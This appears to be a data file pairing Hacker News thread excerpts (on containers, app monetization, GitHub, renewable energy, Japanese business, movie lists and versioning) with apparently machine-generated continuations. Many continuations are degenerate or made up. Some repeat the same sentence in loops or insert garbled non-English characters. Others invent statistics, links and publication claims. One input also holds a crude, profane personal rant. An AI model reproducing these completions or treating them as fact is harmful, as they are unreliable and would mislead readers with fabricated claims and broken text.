co-author of a method that leverages adding artificial\njunk features and removing original ones that are likely nonsense to\napproximate the set of all features that are relevant to the problem (rather\nthan standard make best model, which may be pretty deceiving).\n[https://m2.icm.edu.pl/boruta](https://m2.icm.edu.pl/boruta)\n\n------\nbijection\n[https://www.youtube.com/watch?v=5OL1RqHrZQ8](https://www.youtube.com/watch?v=5OL1RqHrZQ8)\nis a good demonstration of this.\n\n\"I use pictures from the ESCI software to give a brief, easy account of the\nDance of the p Values. The simulation illustrates how enormously and\ndisastrously variable the p value is, simply because of sampling variability.\nNever trust a p value!\"\n\n------\namluto\nI found this paper to be quite interesting, but I have two issues with it.\n\n1\\. At least at the beginning, it focuses excessively on the historical\naspects of statistics. For example, it says that \"most applied researchers are\nunmindful of the historical development of methods of statistical inference,\nand of the conflation of Fisherian a nd Neyman\u2013Pearson ideas.\" To me,\nstatisticians shouldn't /have/ to understand the history at all. For example,\nas a physicist,"} +{"output_text": " details about what's missing from OCI? I've\nlooked through the spec, but don't see anything that would be necessary for a\n\"CRI-compliant runtime\" to work with runC.\n\n(I'm not familiar with the containers/image/ projects, but I'm not sure what\nyou're talking about there either).\n\n~~~\ncyphar\nI'm not sure what you mean by \"CRI-compliant runtime\". I'm not", "input_text": "\nchrissnell\nI don't get your argument. If I'm reading this correctly, you're arguing that\nsystem calls and/or a call to a shared library function are cleaner than RPC\nto another process?\n\nThe overhead of RPC in an application like this is tiny and the cost of an\nadditional process on 2016 equipment is non-existent.\n\n~~~\nvidarh\nIt's more things that can fail that now needs monitoring. (EDIT:) And in the\nspecific case of rktlet you _still_ end up forking/execing anyway.\n\nThe overhead isn't necessarily a big deal (and can easily go the other way -\nif the request frequency is high enough, it's cheaper to keep the process\naround), but it does also potentially add up.\n\n------\nphilips\nThis was posted last week but here is rkt's roadmap around Kubernetes's CRI\nand use of OCI's runc: [https://coreos.com/blog/rkt-and-\nkubernetes.html](https://coreos.com/blog/rkt-and-kubernetes.html)\n\n------\ncyphar\nCurrently quite a few people from the OCI community (including myself) are\nworking on implementing a CRI-compliant runtime[1] around runC and the various\nOCI specifications as well as the containers/image and containers/storage\nprojects. There's a lot of cool design to ocid which means that it doesn't\nrequire a daemon to be constantly running.\n\n[1]: [https://github.com/kubernetes-\nincubator/cri-o](https://github.com/kubernetes-incubator/cri-o)\n\n~~~\nvidarh\nDo you have any more specific"} +{"output_text": ")\n\n3) iAd ()\n\n4) MoPub ()\n\n5) Google Admob\n\n6) Facebook ads\n\n7) Other?\n\n2\\. _Affiliate and CPA (Pay When User Installs Other App)_\n\nPlease share your experiences so this can become an ordered list with the best", "input_text": "Help HN: The Exhaustive List of App Monetization Methods (w/Links!!) - Terpaholic\nPost is too big to fit into the text box so I'll put it in the comments :)\n======\ncreativeone\nTap2print () Custom API to allow for printing and\nfulfillment of almost anything from content in your app.\n\n------\nTerpaholic\nI had difficulty monetizing my app and gathered a lot of links I think might\nbe useful to other people. Let's build the best list of ways to monetize apps!\nI'll update this list regularly with info from the comments.\n\n _Categories_\n\n _Free To User_\n\n1) Ad Networks (Banner Ads)\n\n2) Affiliate and CPA (Pay When User Installs Other App)\n\n _Cost To User_\n\n3) Paid Apps (Charge upfront for the app)\n\n4) In-App-Purchase Approaches (Currency, Unlocking Features, Freemium)\n\n5) Subscription (Recurring Data Updates, SAAS)\n\n _Misc_\n\n6) Facebook\n\n7) Sponsors (Dedicated advertisers)\n\n8) Email Lists (Alternative monetization method)\n\n9) Merchandise (Works if the app has strong characters)\n\n10)?? Coming Soon??\n\n _1\\. Ad Networks_\n\nPlease share your experiences so this can become an ordered list with the best\nat the top.\n\n1) TapJoy ()\n\n2) AdMob ("} +{"output_text": "1\nThis is a really bad article. The author makes a number of claims that are\nincorrect or at least not supported by the facts.\n\n1\\. The author claims that the paper was published in a \"free-for-all\" section\nof the Royal Society. This is not true. The paper was published in the\nInternational Journal of Computer and Information Technology Research.\n\n2\\. The author claims that the paper was published in a \"free-for-all", "input_text": "1]\n[https://en.wikipedia.org/wiki/E-gold](https://en.wikipedia.org/wiki/E-gold)\n\n------\ncodegladiator\n> this paper was published as part of this free-for-all part of the Free\n> Science part of the Royal Society effort\n\nBut but... can facebook not \"lift for free\"?\n\n------\nquotemstr\nNobody owns ideas.\n\n~~~\ncsallen\nIf only more people understood this. Not only does nobody own an idea, but we\nreally don't want to live in a world where the opposite is true.\n\n~~~\nallana\nRight to Read is a good piece on this topic:\n[https://www.gnu.org/philosophy/right-to-\nread.html](https://www.gnu.org/philosophy/right-to-read.html)\n\n------\n0xC0FFEE\nThe paper was published 18 July 2018. The public inital commit of libra was on\n18 June 2019 and had 1,063 changed files. That could be a coincidence or not.\nFact is, only one has realized the idea.\n\n------\nxwdv\nNo sympathy for this guy at all. Think just because you\u2019re an \u201cMIT fellow\u201d\nyour claims to an idea carry more weight than people from other institutions\nor organizations? Get out of here with this entitlement, tons of people come\nup with exactly the same ideas all the time.\n\n~~~\ngibba999\nPlus, 9 times out of 10, it's the MIT types who lift ideas from others and\npromote them with MIT's increasingly well-polished hype machine. Within MIT,\nMedia Lab is central to this problem.\n\n------\nmalicioususer"} +{"output_text": ", but usually not more than a few lines. I\nfind that I can do most of my development in a very text based environment.\n\nI think the biggest hurdle for me is getting over the learning curve of the\nIDE. I am not a fan of the IDEs in the current crop of languages. I think that\nis because I am not a fan of the languages themselves. I am not saying that\neveryone should love their language, or that I am a great", "input_text": "types of programming, and again I don't think we have to paint it as choosing\none or the other.\n\nFor example, when I worked on parallel algorithms for very large clusters, I\nwas really missing some of the things IDEs provide like graphical debuggers.\nWhile a better-designed language may have made some parts of my task easier,\nit would also have made low-level optimization much harder.\n\ntl;dr - different things needed for different situations\n\n------\naidenn0\nThis first two-thirds article is so contrary to my actual experience that I\nalmost didn't finish reading it. Most people I know that uses a cutting-edge\nlanguage bemoans the lack of tooling, and they often hack something up\n(usually as an editor plugin) to make due.\n\nThinking about it more, I do know some people that would fall under the\nauthors definition of \"Language Maven\" and I think there it is not the lack of\ntooling that makes them eschew tooling, it that so much tooling is garbage. An\nexample: when you use a cross-reference browser and it either misses some of\nthe references, or lists so many false-references that you have too low a SNR\nto find what you were looking for, it makes you stop using cross-reference\nbrowsers.\n\n------\ndmritard96\nIt depends on what I am working on. If I am writing some stupid GUI in VB, or\nsomething in matlab, etc. - well yeah, may as well use the IDE. For my\nprojects at home (and when I was in school) I tend to use gedit with a couple\nof plugins (nothing lang. specific though) - typically working in c, c++,\npython, bash. Sometimes I use vim"} +{"output_text": " a tablet? (By which point I'd rather\nhave them integrated and a bit more rugged, personally.) You want to show me\nsomeone doing serious work on a netbook? (By which point I'd rather have them\nintegrated and a bit more rugged, personally.)\n\nI think the netbook is a very useful device for a very specific niche. I\nthink it's a niche that's going to shrink as tablets and smartphones get\nbetter and better. I think it's", "input_text": " part of them, as desktop work will still be needed.\n\n------\neftpotrm\nWell, I certainly hope that reports of the netbook's death are in fact reports\nof the death of the netbook's _hype_...\n\nI'm another of those who find them almost perfect devices. It gets used for\nreal, serious, mobile computing. Visual Studio 2010 and SQL Server 2008 R2 on\na netbook with a long battery life make a wonderful go-anywhere productivity\ndevice and let me work far, far more easily than I could otherwise because it\ncan just slip in the bottom of my bag. I can and do write music on it almost\nanywhere in a MIDI sequencer. Firefox works well for regular browsing,\nOpenOffice works well for note taking in meetings. I can touchtype on my\nnetbook with comparable speed and accuracy to any other device, certainly fast\nenough to take notes live in a presentation. I won't claim it's fast enough\nfor doing any very heavy photography work but it's a very useful portable\npreview and backing storage device.\n\nGive me a tablet with a card reader and decent storage and I could do the\nphotography as easily on that, I'll concede. Give me a good mobile browser and\nthat's pretty much as good as on the netbook, though from my experience with\nAndroid Firefox and Chrome I'm not convinced yet. Music? Maybe, I can see it\ncould be done but I'm not sure the apps are there yet from what I've heard.\n\nThe rest though? You want to show me someone typing at an accurate 100WPM on a\ntablet without an external keyboard? (By which point I'd rather have them\nintegrated and a bit more rugged, personally.) You want to show me someone\ndoing serious software development on"} +{"output_text": " any reason to\nhesitate.\n\n~~~\nm463\nI'm not sure how much of a threat they are.\n\nThey could shut down github, but they can't stop people from hosting git repos\non other services.\n\nThey could make it more difficult to host git repos on github, but they can't\nmake it impossible.\n\nThey could make it more difficult to use Microsoft services, but they can't\nmake it impossible.\n\nThey could make", "input_text": " could afford to give so much away for free.\nWhile I can't find the exact statement now, I was affected somewhat by their\ndedication to always offering unlimited free repositories, believing that such\naccess was along the lines of a \"digital right\". Obviously there's strategy to\nall of this, but following them all this time it's nice to believe that\nperhaps the top of the organization still believe in that goal too.\n\n------\nimr_\nfantastic move. perfect timing and opportunity.\n\n------\ndudus\nTime to capitalize on the senseless sudden hate for gitHub\n\n~~~\nsolarkraft\nMicrosoft does have a terrible history regarding open source.\n\nGithub felt safe before, a neutral ground for Google, Microsoft, Apple,\nFacebook, Netflix, Amazon all come together and share their love for code and\njust code.\n\nNot so much anymore. The hate is over-blown, but it does feel weird now. With\na knowledge of Microsoft products I can understand why many people would see a\nbleak future ahead [0].\n\n[0]: Relevant image going around the internet: [https://desu-\nusergeneratedcontent.xyz/g/image/1528/18/152818...](https://desu-\nusergeneratedcontent.xyz/g/image/1528/18/1528185357874.jpg)\n\n~~~\nssijak\nWhy not just first wait for their actual moves before spreading panic. I don`t\nlove microsoft and use 0 of their software/hardware products but I don`t\nbelieve they will ruin Github. It would ruin their reputation with developers\nto a very large degree.\n\nBut if they do, it is so easy to switch, that I do not see"} +{"output_text": "d.com/re2/streaming-\nservice/](https://letterboxd.com/re2/streaming-service/)\n\n~~~\nletterboxd\nThanks!\n\nI'm not sure how I missed this. I've been looking for a while.\n\nI'll update my post to say that both lists are correct.\n\nI'm not sure how I missed this either.\n\n------\njelliclesfarm\nI\u2019m not sure", "input_text": "://letterboxd.com/dvideostor/list/roger-eberts-great-movies/)\n\nYou can look at each movie to see what streaming service it's on one at a time\nfor free.\n\nIf you have a pro paid account, you can even do:\n\n[https://letterboxd.com/dvideostor/list/roger-eberts-great-\nmo...](https://letterboxd.com/dvideostor/list/roger-eberts-great-\nmovies/on/amazon-prime-us/)\n\nWhich shows that there are 39 movies in Amazon Prime US from Ebert's \"Great\nMovies,\" not 21 like this guy's spreadsheet says.\n\nTo be fair, the exercise was to scrape the reference sources... so it might\njust need some refinement.\n\nNeed to double check though if both lists are correct, only confirmed number\ntotals.\n\n __Full disclosure: That letterboxd list is not mine, I just found it __\n\n~~~\njs2\nFWIW, I screen scraped rogerebert.com and copied all of his ratings and an\nexcerpt of every review to letterboxd:\n\n[https://letterboxd.com/re2/](https://letterboxd.com/re2/)\n\nJust the great movies:\n\n[https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-...](https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-earliest/)\n\nYou can then filter those by streaming service, but you need a pro account.\nLooks like 38 movies:\n\n[https://letterbox"} +{"output_text": " by simply buying up real estate, stocks,\netc).\n\nThe Fed is a creation of the modern era of economics, and is a direct\ncontinuation of the failed ideas of the modern era of economics. It's a\nmonstrous fraud, and it needs to be abolished.\n\n~~~\nmattgreenrocks\n> It's a fraudulent concern meant to enable more printing.\n\nI think this is a bit too cynical. The Fed has a mandate to keep prices", "input_text": " to spread wealth more evenly around the world. Such a\npolicy is he most \"progressive\" policy given the current skew of asset\ndistributions. Its possible to de-link asset vol from job creattion. Look no\nfurther than the recent inflation of asset values and the lack of net-job\nadds. So, as it is on the way up...so it is on the way down. The beauty of\nvariance and volatility is that they are naturally \"neutral\" terms.\n\nThe argument that there needs to be inflationary bias to create jobs is weak\non many levels. This is just one.\n\n------\nArchD\nI don't know why people are talking as if deflation is a real thing when\nthere's a worldwide property bubble going on and property price is a a very\nreal aspect of the cost of day-to-day living. One must question the CPI\nmetrics used.\n\n~~~\nadventured\nIt's a fraudulent concern meant to enable more printing.\n\nOne of the many psychological toys the Fed & Co. use, just like they regularly\nthreaten to raise interest rates (for years at this point) to buy more time on\nholding down the bubbles they've created without having to actually do\nanything.\n\nThe reason so many people are afraid of deflation, is they're from the\nKeynesian school of economics. They've been brainwashed for two generations to\nthink inflation is how you grow an economy. No coincidence, the Keynesian\nexperiment has been a global disaster of epic proportions, leading to the\ngreatest accumulation of debt in world history; and locally, a 40 year\nstagnation in the American standard of living, perpetually high real\nunemployment, increased poverty, and increased inequality (because the rich\ncan shield themselves from inflation"} +{"output_text": " it will be before we see similar reports for the materials\nused in wind turbines.\n\n[https://www.windenergy.nl/media/news/wind-turbines-\nrarely-s...](https://www.windenergy.nl/media/news/wind-turbines-rarely-\nsourced-rare-metals-study-finds)\n\n~~~\nmikegerwitz\nThe article you linked to mentions copper, which", "input_text": "\nbetween wafers thinner you reduce the amount of waste material and increase\nthe number of wafers produced.\n\n~~~\npfdietz\nI recall recently reading a paper from back when the price of polysilicon was\nat its peak, which it discussed. Since then, adjust for inflation, its price\nhas declined by a factor of 70.\n\n------\nrossdavidh\nI am really glad this is happening. I think that the Moore's Law-like decline\nin costs of wind and solar are going to far more to combat climate change than\nevery international treaty ever attempted, and that's great because climate\nchange is a serious problem and it must be addressed.\n\nHowever...\n\nI think we have been trying to figure out how to get the world's economy to\nshift off of fossil fuels for so long, we haven't given a lot of thought to\nwhat happens as we do, which appears to be in the process of happening. Right\nnow it's coal that's circling the drain. The other fossil fuels will come a\nfew years after.\n\nImagine every nation in the world that depends on oil revenue right now, going\nthe way of Venezuela.\n\nWe are not ready.\n\n------\nJedd\nWhy do we still have such poor quality reporting on renewables:\n\n> And then there\u2019s the issue of round-the-clock power. Solar doesn\u2019t work at\n> night.\n\nPVC doesn't work at night, but CSP most definitely does.\n\n(By _working_, I mean a solar thermal plant is providing power well after\nsunset.)\n\n------\njamil7\nTheres a Dutch study indicating that we're rapidly approaching supply chain\nlimits for the rare metals required for renewable energy, both solar and wind.\nI wonder how long"} +{"output_text": " \"attar-rat\", with a hard R in the middle.\n\n------\nmnafees\nI thought it was a play on words from \"catra\" (\u0c95\u0cbe\u0c9f\u0cb0) and \"catra-rat\" (\u0c95\u0cbe\u0c9f\u0cb0\u0cbe\u0cb0).\n\n------\nmnafees\nI thought it was a play on words from \"catra\" (\u0c95\u0cbe\u0c9f\u0cb0) and", "input_text": "\", or \"Doggy.\" (Correct me if I'm\nwrong.)\n\n~~~\njypepin\nArrobase in french. Don't think it means anything.\n\n~~~\nekianjo\nHere you go:\n\n> Le nom arobase, forme la plus fr\u00e9quente, est une d\u00e9formation r\u00e9cente du\n> castillan arroba(s), qui d\u00e9signe une unit\u00e9 de mesure de poids et de capacit\u00e9\n> (dite en fran\u00e7ais arrobe), en usage en Espagne et au Portugal8, de grandeur\n> variable selon les r\u00e9gions et selon les liquides (huile ou vin). Ce terme,\n> attest\u00e9 en Espagne depuis 1088, vient lui-m\u00eame de l'arabe \u0627\u0644\u0631\u0628\u0639 (ar-rub\u02bf), \u00ab\n> le quart \u00bb, pour un quart de l'ancien quintal de 100 livres, soit 12 kg\n> environ. Depuis le xvie si\u00e8cle, en effet, le mot arroba \u2014 parmi d'autres \u2014\n> s'est constamment \u00e9crit au moyen de l'abr\u00e9viation \"@\"9.\n\n[https://fr.wikipedia.org/wiki/Arrobase](https://fr.wikipedia.org/wiki/Arrobase)\n\n------\nmadeofpalk\nWhen I worked in retail, I noticed Indian people would pronounce it something\nlike 'attarrat', with a hard R in the middle.\n\nIt took me a while to catch on to what was ment by that, but i never really\npushed it much further to get the 'proper' pronounciation.\n\n~~~\ntimlimfimbim\nI believe they were saying"} +{"output_text": "\n\n------\njelliclesfarm\nI have a theory about the current state of healthcare.\n\nIt's not that doctors are bad or that hospitals are bad. It's that the\nstructure of healthcare is so complex that it's impossible to predict the\noutcome of any individual decision.\n\nTake the example of a patient with a heart attack. The patient is given a\nprescription for a statin. The patient takes the statin. The patient has a\n", "input_text": " and increasing cost\n(again 1%)! Almost all patients would prefer it.\n\nBut it's hard to convince people that often in life _paying slightly more_ for\n_a statistically slightly worse outcome_ increases you comfort ~10x and is\n1000% worth it! After all, _we live to feel good, and living is only worth it\nas long as we feel good doing it!_\n\n...but no, we just have to insist that we want _the absolutely best things_\n(as customers) and that we need to be _as efficient as possible_ (as service\nproviders). This combination of constraints makes life a living hell that I'm\nnot sure why we can still stand. Also there's those maniacs that absolutely\n_hate_ being or making others _COMFORTABLE,_ but making life worse for them\nwould be sooo enjoyable.\n\n~~~\nnoxToken\nI don't want to create a false dichotomy, but it looks like you're saying you\ncan have either one of two things: increased comfort with a higher chance of\ndeath and cost or a maintain to the low level of comfort with a higher chance\nof successful recovery. You go on to say:\n\n> _After all, we live to feel good, and living is only worth it as long as we\n> feel good doing it!_\n\nI think I get what you're going for, but I'd rather be uncomfortable in the\nhospital for a week in my 40s if that means I get to live another 40 or 50\nyears. I think a lot of other people would also feel the same.\n\n~~~\nnnq\nThe dichotomy _is real,_ I know a thing or two of how hospitals work and what\nprioritizing comfort would actually mean. But I'd still choose it."} +{"output_text": "\nthe API.\n\n~~~\n4ad\nI don't understand what you mean by \"every new version is a major release\".\n\nIn the version I'm working on, a new major version is always a bugfix release.\n\n~~~\nk__\nThen you don't break the API in every new version.\n\n~~~\n4ad\nNo, but you may add new features in a new version.\n\n~~~\nk__\nThen you don't break", "input_text": " talked about? I can probably\nsense the sneers from some, but I'd imagine there could be an evolution/\"go\nway\" to implement it.\n\n~~~\n4ad\nThis is about software (source code) versioning. Shared library symbol\nversioning is a completely orthogonal concept.\n\n------\n__david__\nI feel like the article made its case pretty well, but I really dislike idea\nthat I need to duplicate my library into a \"v2/\" directory (or a different top\nlevel git repo) in practice. Maybe I'm misunderstanding something, but this\nseems to be exactly what branches are for. If I'm not able to specify a branch\nname in the package \"path\" then there's something really wrong.\n\n~~~\nmatt_m\nIt wasn't obvious to me either, but apparently vgo translates that into the\nappropriate git tag, it's not actually a separate directory.\n\n~~~\n4ad\nYeah, it's just the import path that it's changed, but it's still ugly as sin\nand makes the mapping between import paths and filesystem paths non-trivial.\n\n------\nk__\nWhile I still think SemVer is crap (because of the edge cases) this seems to\nbe a reasonable approach to library versioning.\n\n~~~\n4ad\nMind to expand about SemVer?\n\n~~~\nk__\nIt says only majors should break the API, but bugs do it all the time. So that\nrule is just wrong and gives a false feel of safety.\n\n~~~\n4ad\nAnd the alternative is?\n\n~~~\nk__\nSimply treat every new version as a major release, everything else is a lie.\n\nSure, you can structure it by \"intent\" but don't pretend a bugfix can't break"} +{"output_text": "bert.com.\n\nThe delay is necessary to ensure that the first page of results is retrieved.\n\nsh -c 'curl \"http://www.rogerebert.com/movies/great-movies/2000-2019/\" |\nsed -ne 's/

(.*?)<\\/div>.*<\\/div>/
\\1<\\/div>/p' | sort | un", "input_text": " are all great stories but \"Woman in the Dunes\" might give\nyou something new to think about where as the others are mostly just great\nentertainment.\n\n~~~\npatrec\nIn addition to \u201cWoman in the Dunes\u201d, I'd also nominate \u201cThe Gospel According\nto Saint Matthew\u201d. And, in fact, \u201cIt's a Wonderful Life\u201d for those who haven't\nseen it (it's a much more grown up and dark film than you may have been led to\nbelieve).\n\n------\nsfaruque\nThere used to be a site call ClerkDogs.com that probably had the best movie\nrecommendation system I've used. You started off naming a few movies you\nliked, and it would provide a list of movies you'd also probably like, and it\nwas very accurate.\n\nFrom what I remember, the database was cataloged and maintained by actual\nhumans, and not some algorithm following behavior patterns.\n\n~~~\nfastball\nYep, jinni.com did the exact same thing, and I loved it. Unfortunately, it\nseems like B2C just didn't work financially so they switched to an entirely\nB2B model to help providers with their recommendation engines and no longer\nhave their data accessible to end-users.\n\n~~~\ncpach\nIt\u2019s a shame that the economics of recommendation engines doesn\u2019t seem to work\nvery well in the B2C space. Good rec. engines can be very useful.\n\n------\nx3blah\nInstead of using Python, here is a solution that only requires sh, curl, sed,\nsort, uniq and grep.\n\nThis solution uses a generous 87s delay to retrieve the Amazon pages. There\nare 328 films listed as \"great movies\" on rogere"} +{"output_text": "\n\n\u201cChina is a country that has a lot of experience in subsidy-free,\u201d said\nRadoia. \u201cBut it\u2019s also a country that\u2019s learning how to manage the market.\u201d\n\nThe shift is evident in the latest round of subsidy cuts. China\u2019s central\ngovernment said last week it would slash feed-in tariffs by up to 50% in\nresponse to falling solar panel prices.\n\nThe U.S. is still subsidizing solar", "input_text": "urping coal and gas. Wind and solar still only accounted for about 7% of\nelectricity generation worldwide last year, according to BNEF. And most wind\nand solar projects still depend on subsides. In the U.S., in fact, the solar\nindustry is pushing to extend federal tax credits that are scheduled to\ndecline over the next few years.\n\nAnd then there\u2019s the issue of round-the-clock power. Solar doesn\u2019t work at\nnight. Wind farms go idle when breezes slack. So until battery systems are\ncheap enough for generators to stockpile electricity for hours at a time,\nrenewables can\u2019t constantly provide power like coal and gas.\n\nSolar module prices have plunged this decade\n\nPerhaps nowhere is the push toward subsidy-free clean energy clearer than on\narid expanses of Southern Europe. About 750 megawatts of subsidy-free clean-\nenergy projects are expected to connect to the grid in 2019 alone, across\nSpain, Italy, Portugal and elsewhere -- enough to power about 333,000\nhouseholds, according to Pietro Radoia, an analyst at BNEF.\n\n\u201cThe cheapest way of producing electricity in Spain is the sun,\u201d Jose\nDominguez Abascal, the nation\u2019s secretary of state for energy, said last year.\n\nThe road to subsidy-free renewables wasn\u2019t easy for Spain. A decade ago, it\noffered developers a lavish feed-in tariff, prompting an uncontrolled boom\nthat strained the national treasury. Spain slashed incentives and now has a\nhands-off energy policy.\n\nChina, the world\u2019s largest renewable energy market, also propped up wind and\nsolar for years. Now it\u2019s shifting toward a more market-driven approach."} +{"output_text": ".\n\n~~~\nyummyfajitas\nIt's not. The Japanese household sector is very high productivity.\n\nHouseholds are responsible for ~80% of GDP, employ ~80% of the workforce,\nand are responsible for ~80% of savings.\n\nThe household sector is also responsible for ~80% of savings growth.\n\nThe household sector is also responsible for ~80% of savings growth _relative\nto GDP_.\n\nThe household sector is also", "input_text": " (2014) - bholdr\nhttp://www.kalzumeus.com/2014/11/07/doing-business-in-japan/\n======\npartycoder\nI had a chat with a Japanese coworker some time ago.\n\nSome of the Japanese addiction for work was to distract themselves from the\ndestructive effects of WW2.\n\nBy working, they thought they would gradually turn their homeland into a\nbetter place and become a better society.\n\nNow we can see some of the side effects of the excess work, like a reduced\nbirth rate, increased suicide rate, growing debt, death from overwork\n(karoshi), people doing secret nap meetings or sleeping in their desks\n(inemuri), etc.\n\n~~~\nHavoc\n>people doing secret nap meetings\n\nHaha that's one way to solve the problem\n\n------\nglandium\nPrevious discussion with 300+ comments:\n[https://news.ycombinator.com/item?id=8573992](https://news.ycombinator.com/item?id=8573992)\n\n------\nmrottenkolber\n> The Japanese economy is roughly 1/3rd the public sector, 1/3rd low-\n> productivity firms like restaurants or traditional craftsmen, and 1/3rd\n> high-productivity household-name megacorps.\n\nWhy are restaurants and traditional craftsmen considered \u201clow-productivity?\u201d\nThat really strikes me as odd, I have the opposite connotation. I.e. the\nformer being only sustainable as long as they serve a direct demand, while the\nlatter spends most of the time for leviathan\u2019s sake, and is more focused on\ngenerating demand (advertising budgets) than solving problems"} +{"output_text": "/11af76e766308c46b11b6203c9e6f7e1)\n\nIt's not the most beautiful thing in the world, but it gets the job done :)\n\n~~~\nmwnivek\nLooks great!\n\n------\njoeevans1000\nI'm curious why you chose to use React over Vue?\n\n~~~\nadamthewan\nReact is a little more mature and has a bigger community.", "input_text": "\nadamthewan\nHey, Adam here from MeetButter (OP).\n\nThanks!\n\nThe product team is pretty small. We have a UI UX product designer, myself\n(mid-level full stack developer), and a jr front end developer.\n\n~~~\nrealtalk_sp\nVery cool. Good luck with the project!\n\n------\nab_testing\nSurprisingly the author writes about the prototype of the app and the\nwireframes but does not mention the tech behind the actual video conferencing\nsolution. Are they using an existing open source solution and packaging it\ninto a website.\n\n~~~\nadamthewan\nHey, Adam from MeetButter here (OP).\n\nWe're using Jitsi (which is open source) but are also testing out various\nthird party providers such as Daily.co and Agora.io\n\nWe want to focus on improving the meeting flow experience and interactions,\nwhich is why we leverage open source or third party providers for the video\nconferencing tech.\n\n------\ndeltron3030\nNot solving your own problem first but someone else's seems to be the major\nsource of complexity.\n\n~~~\nadamthewan\nI agree. We always overthink things we don't fully understand.\n\n------\nmwnivek\nMeetButter looks interesting!\n\nAre those chat bubbles based on any open-source CSS / inspired by others?\n\n~~~\nadamthewan\nHey dude, Adam here (OP).\n\nIt was built using CSS!\n\nI made a GitHub Gist of it, just for you:\n[https://gist.github.com/adamthewan/11af76e766308c46b11b6203c...](https://gist.github.com/adamthewan"} +{"output_text": " that they're easily lost or stolen. I don't know what the\nequivalent is for laundry detergent, but it's not toothbrushes.\n\n~~~\nidunno246\nI guess it's like razors. I have a friend who has to buy his every month.\n\n------\njfoutz\nI wish the local grocery store chain had a similar policy. I'm pretty sure\nmost people would be tempted to buy a bottle of detergent, but I know I", "input_text": ":\n[http://viewtext.org/article?url=http%3A%2F%2Fnymag.com%2Fnew...](http://viewtext.org/article?url=http%3A%2F%2Fnymag.com%2Fnews%2Ffeatures%2Ftide-\ndetergent-drugs-2013-1%2F)\n\nI really like viewtext. To whoever made it, thanks!\n\n~~~\naaronbrethorst\nRonnie Roller (), who is also the creator of\n\n\n------\nbane\nReminds me of a story I can't seem to google where a D.C. council woman was\nkilled and robbed for her credit cards, which were used to rent a tanker truck\nand to buy thousands of gallons of gasoline, which (the plan was) was to be\nsold for cash back to another gas station (at a discount) in order to buy\ndrugs.\n\n------\nGregBuchholz\nBravo. Better than _The Suit is Back_ by a country mile. \"If You're Watching,\nIt's For You\"\n([http://thelastpsychiatrist.com/2008/08/if_youre_watching_its...](http://thelastpsychiatrist.com/2008/08/if_youre_watching_its_for_you.html)).\n\n------\nidunno246\nI guess this is why safeway locks up the most ridiculous things. Like\ntoothbrushes!\n\n~~~\nanigbrowl\nThings like toothbrushes are locked up because they are relatively expensive\nbut so small"} +{"output_text": " have moved to iOS.\n\nThe same goes for Google.\n\n~~~\nm463\nI think it's more a duopoly of two companies that have a very strong\ninfluence on the market.\n\nGoogle has a lot of power because they have the largest distribution of\nsoftware, and they have the largest customer base.\n\nApple has a lot of power because they have the largest customer base, and they\nhave the largest customer base of people who know and trust their", "input_text": " of service on both platforms, so\nFortnite was removed from both the App Store and the Play Store. Epic already\nknew this would happen, which is why they prepared their PR and legal teams\naccordingly.\n\n------\nz3t4\nOne reason for the duopoly is that it cost more to have your app on more\nplatforms. Its a disaster that for example government apps like id only works\non the latest ios or android. There are also Sailfish, FirefoxOS, bunch of\nfeature phone OS, and likely a lot I dont know of. The duopoly is self\ninflicted by the software industry.\n\n------\nAissen\nIt seems Google is still using the same tactics it used to kill Skyhook (Maps\ncompetitor on wifi location), and probably most GApps competitors: they\nblocked Oneplus from bundling the Epic launcher with system permissions\n(allows updates in background, like the Play Store):\n\n[https://www.androidpolice.com/2020/08/13/google-\nreportedly-b...](https://www.androidpolice.com/2020/08/13/google-reportedly-\nblocked-oneplus-from-pre-installing-the-epic-games-app-on-its-phones/)\n\n------\ndustinmoris\nIt's important to remember that Apple and Google only have a Duopoly, because\nnobody else seems to be able to develop anything that is remotely appealing to\ncustomers. Microsoft tried with their own mobile operating system many years\nago and they failed at every attempt.\n\nIf Apple was told to open its App Store they could literally just shut down\ntheir App Store instead the next day and in a few days or weeks consumers all\naround the world would"} +{"output_text": " he prances around the stage, like a petulant child in his\nfather's office.\n\nFuck Google. Fuck you Google.\n\n------\nsaturdaysaint\nI'm not sure I understand the point of this post. The author is complaining\nabout the \"Google is evil\" meme that's been going around for the past few\nyears, but then goes on to say that Google's response to the \"evil\" meme has\nbeen \"good\" and", "input_text": ". I find this possibility to be as valid as some of the ones\nyou list. It could happen, sure, but Google ultimately cannot risk alienating\ntheir customers so they wouldn't do it. Even at Microsoft's peak the doomsday\nscenarios never came to fruition for the same reason. The first time Google\ndoes anything unsavory with the data they collect is the moment when they open\nthe flood gates for their competitors to rush in.\n\nI do think there's some value in keeping information offline and people should\nconsider that as a valid alternative. You don't really need to account for\nevery second of your life in Google Calendar. You don't need to upload every\nsingle photograph you've ever taken. You don't need to geotag the photos you\ndo choose to upload. You may not want to use Google Docs to store your bank\naccount information. Part of this whole situation is consumers protecting\nthemselves.\n\n------\nrjurney\nThe problem here is that in combination with Wave, Google is setting the\nplatform that we are supposed to develop for a year or more before it exists.\nThat IRRITATES the hell out of me. It is the same kind of egotistical\ndouschebaggery Microsoft used to pull: pre-launching products to gain control\nbefore contributing anything.\n\nWatching the Wave introduction video... when I see that semi-euro, T-shirt\nwearing trim-bearded fuck up there on that stage with his falsely elegant\npeppy smart talk planning a 'boating trip', and the scripted passing back and\nforth with 'the best project manager in the world,' I see one thing and one\nthing only in my mind: Ballmer's sweaty bitch tits bouncing up and down, round\nand round, as"} +{"output_text": " and quaternions\n(make sure to mention that quaternions are a field, and that quaternionic\nvectors are a vector space over the quaternions).\n\n[1] I'm not sure if it's just because I took the class so long ago, but I\nthink the book is more concerned with teaching you the language of linear\nalgebra than with actually teaching you linear algebra.\n\n------\njph98\nI found linear algebra to be a very confusing subject for non-", "input_text": " is often an example here). On top of this, there is also the\nmultiple notation problem (admittedly, not as bad as calculus, where there are\ntoo many notations for derivative) and the minor issue that many of the\nalgorithms taught in the book aren't used in practice because of numerical\nstability issues.\n\nIt has been so long since I've taken linear algebra, and I've taken abstract\nalgebra courses since then, that I can't really compare this book to the\napproach that I learned. Skimming the book, the thing that jumps out the most\nto me is that LU factorization and determinants are shoved surprisingly late\nin the book [1], and eigenvalues are \"previewed\" quite early. I'm not sure\nthat's a good approach: LU factorization is important because backsolving the\nL and U matrices is more numerically stable (and sparser, when you're dealing\nwith sparse matrices) than the inverse matrix, and it works even if your\nmatrix isn't square. Furthermore, determinants tie in better to row\noperations, and their weird application with Cramer's rule is another way to\nsolve a set of linear equations: you don't 